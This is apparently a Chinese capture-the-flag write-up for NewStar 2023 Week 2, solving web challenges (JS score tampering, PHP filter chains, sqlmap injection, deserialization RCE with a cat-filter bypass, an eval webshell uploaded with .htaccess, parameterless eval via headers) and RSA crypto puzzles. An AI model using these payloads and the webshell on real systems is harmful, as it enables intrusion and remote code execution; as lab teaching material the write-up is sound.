NewStar 2023 Week2 WEB 游戏高手
打开题目看到上述,显然不可能玩到100000分,首先bp抓包看看有什么发现
似乎没有什么有用信息,查看源代码,好像有有用信息app_v2.js
js文件
查看js文件于是有了想法:是否可以直接修改原始的分数
调试器,在20行设置断点,F5刷新后,在控制台输入:gameScore = 100000
接着返回调试器,可以看到此时的gameScore
的值为100000
接着F8,让js代码顺利执行,进入游戏会发现原始分变成了100000,结束游戏即可得到flag
include 0。0
打开就看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );class evil { private $cmd ; public function __destruct ( ) { if (!preg_match ("/cat|tac|more|tail|base/i" , $this ->cmd)){ @system ($this ->cmd); } } } @unserialize ($_POST ['unser' ]); ?>
发现过滤了base
和rot
,但是还有其他一些过滤器可以用
构造payload: php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
成功拿到flagflag{670e28dc-940b-4d66-92ec-40be4a0ae771}
ez_sql
看到题目,肯定是sql注入相关的,直接sqlmap扫描
sqlmap -u "http://a53134e7-8ebc-46e4-bc62-ac46e2b91837.node4.buuoj.cn:81/?id=TMP11503" --dbs
直接使用 --dump
,列出所有的表数据
flag{ae2227f2-2ea1-4cd8-84b7-ad1d21cda25d}
Unserialize?
打开看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );class evil { private $cmd ; public function __destruct ( ) { if (!preg_match ("/cat|tac|more|tail|base/i" , $this ->cmd)){ @system ($this ->cmd); } } } @unserialize ($_POST ['unser' ]); ?>
发现只需要设置evil类中cmd成员的值然后反序列化触发__destruct
析构函数即可触发RCE
发现过滤了cat|tac|more|tail|base
,但是可以用ls
查看目录,构造payload
1 2 3 4 5 6 7 8 9 10 11 <?php class evil { public $cmd = 'ls' ; } $e = new evil ();echo urlencode (serialize ($e ));?> O%3 A4%3 A%22 evil%22 %3 A1%3 A%7 Bs%3 A3%3 A%22 cmd%22 %3 Bs%3 A2%3 A%22 ls%22 %3 B%7 D
发现当前目录只有index.php
,于是查看根目录
1 2 3 4 5 6 7 8 9 10 11 <?php class evil { public $cmd = 'ls /' ; } $e = new evil ();echo urlencode (serialize ($e ));?> O%3 A4%3 A%22 evil%22 %3 A1%3 A%7 Bs%3 A3%3 A%22 cmd%22 %3 Bs%3 A4%3 A%22 ls+%2 F%22 %3 B%7 D
需要注意的是运行结果中有 + 需要将+改成%20,得到根目录
找到可疑目录th1s_1s_fffflllll4444aaaggggg
,但是cat被过滤,想办法绕过
1 2 3 4 5 6 7 8 9 10 11 <?php class evil { public $cmd = 'ca``t th1s_1s_fffflllll4444aaaggggg' ; } $e = new evil ();echo urlencode (serialize ($e ));?> O%3 A4%3 A%22 evil%22 %3 A1%3 A%7 Bs%3 A3%3 A%22 cmd%22 %3 Bs%3 A36%3 A%22 ca%60 %60 t+%2 Fth1s_1s_fffflllll4444aaaggggg%22 %3 B%7 D
Upload again!
首先利用bp抓包试试,正常上传图片正常回显
将图片后缀更改为php,显示错误
试着上传图片马,还是能检测出来
猜测可能是检测了后缀,以及检测图片内容中是否包含了php代码,试着去掉php代码
仍然被检测出来,现在猜测可能是由于<? ?>
,去掉<? ?>
,保留php中的代码,发现能成功上传
利用script代替 、?>标签
1 <script language="php" >@eval ($_POST['111111' ]);</script>
但是,图片中的php代码不能被解析,尝试先上传.htaccess
文件,在上传对应图片,这样图片中的php代码就能被解析
1 2 3 4 5 <FilesMatch "evil.png"> SetHandler application/x-httpd-php </FilesMatch>
接着上传 evil.png
文件
接着用蚁剑连接,查询可疑文件
flag{4366f19d-3ec5-4dec-801f-113d944e370a}
R!!C!!E!! 根据提示有信息泄露,可以使用dirsearch扫,扫出了 /.git
使用githack工具获取源码
bo0g1pop.php源码:
1 2 3 4 5 6 7 <?php highlight_file (__FILE__ );if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['star' ])) { if (!preg_match ('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i' ,$_GET ['star' ])){ eval ($_GET ['star' ]); } }
根据提示绕过两处正则:
第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。
第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。
官方payload(使用 bp 发送的请求):
1 2 3 4 5 6 7 8 GET /bo0g1pop.php?star=eval (pos(array_reverse(getallheaders()))); HTTP/1.1 Host: faf83665-1a88-473a-b765-ddd33c6cf370.node4.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflateConnection: close X-Forwarder-Proto: system('cat /f*' ); Upgrade-Insecure-Requests: 1
有一篇writeup写的很好:https://www.cnblogs.com/EddieMurphy-blogs/articles/17752305.html
Crypto 滴啤
根据提示 应该考察的是RSA dp泄露
看到注释的三条数据,大概率就是dp泄露,编写dp泄露脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import gmpy2import libnumn= 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931 e= 65537 c= 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089 dp= 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635 p=gmpy2.gcd(pow (2 ,e*dp,n)-2 ,n) print (p)for i in range (1 , e): p = (dp * e - 1 ) // i + 1 if n % p == 0 : q = n // p print (q) break print (q)phi_n = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, phi_n) m = pow (c, d, n) print (m)flag = libnum.n2s(int (m)) print (flag)
flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}
不止一个pi
同样根据题目和给出的python代码,猜测仍然是RSA中的 e和phi不互素
,即是 存在两个或多个模数且gcd(N1,N2)!=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import gmpy2import libnump = 171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217 q = 115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713 e = 65537 c = 4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337 n = p * q phi = (p - 1 ) * (q - 1 ) t = gmpy2.gcd(e, phi) t1 = e // t dt1 = gmpy2.invert(t1, phi) mt1 = pow (c, dt1, n) print (mt1)s, m = gmpy2.iroot(mt1, t) print (s)print (libnum.n2s(int (s)))
flag{bu_zhi_yige_p1dsaf}
halfcandecode out.txt:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649 4a8a08f09d37b73795649038408b5f33 03c7c0ace395d80182db07ae2c30f034 e1671797c52e15f763380b45e841ec32 b14a7b8059d9c055954c92674ce60032 e358efa489f58062f10dd7316b65649e cfcd208495d565ef66e7dff9f98764da b14a7b8059d9c055954c92674ce60032 8fa14cdd754f91cc6554c9e71929cce7 0cc175b9c0f1b6a831c399e269772661 4a8a08f09d37b73795649038408b5f33 e358efa489f58062f10dd7316b65649e cfcd208495d565ef66e7dff9f98764da 4b43b0aee35624cd95b910189b3dc231 cbb184dd8e05c9709e5dcaedaa0495cf
task.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from Crypto.Util.number import *import gmpy2from flag import flagimport osfrom hashlib import md5def gen_prime (number ): p = getPrime(number // 2 ) q = gmpy2.next_prime(p) return p * q def md5_hash (m ): return md5(m.encode()).hexdigest() e = 65537 n = gen_prime(1024 ) m1 = bytes_to_long(flag[:len (flag) // 2 ].encode() + os.urandom(8 )) c1 = pow (m1, e, n) m2 = flag[len (flag) // 2 :] with open ("out.txt" ,"w" ) as f: f.write(str (n) + '\n' ) f.write(str (c1) + '\n' ) for t in m2: f.write(str (md5_hash(t))+'\n' )
首先判断是RSA 的加密,根据提示,猜测可能flag由两端构成
首先大素数分解,RSA解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import gmpy2from Crypto.Util.number import *e = 65537 p = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993409 q = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993841 eular = (p - 1 ) * (q - 1 ) n = 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969 c = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649 d = gmpy2.invert(e, eular) m = pow (c, d, n) print (long_to_bytes(m).decode('utf-8' , errors='ignore' ))
得到前半段flag:flag{two_cloab
接着md5解密,后半段:cse_t0_fact0r}
partial decrypt 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from secret import flagfrom Crypto.Util.number import *m = bytes_to_long(flag) e = 65537 p = getPrime(512 ) q = getPrime(512 ) n = p*q c = pow (m,e,n) dp = inverse(e, (p-1 )) dq = inverse(e, (q-1 )) m1 = pow (c,dp, p) m2 = pow (c,dq, q) q_inv = inverse(q, p) h = (q_inv*(m1-m2)) % p print ('m2 =' , m2)print ('h =' , h)print ('q =' , q)
这是关于RSA-CRT(中国剩余定理)
1 2 3 4 5 6 7 8 from Crypto.Util.number import *m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884 h = 4180720137090447835816240697100630525624574275 q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931 m = m2+h*q print (long_to_bytes(m))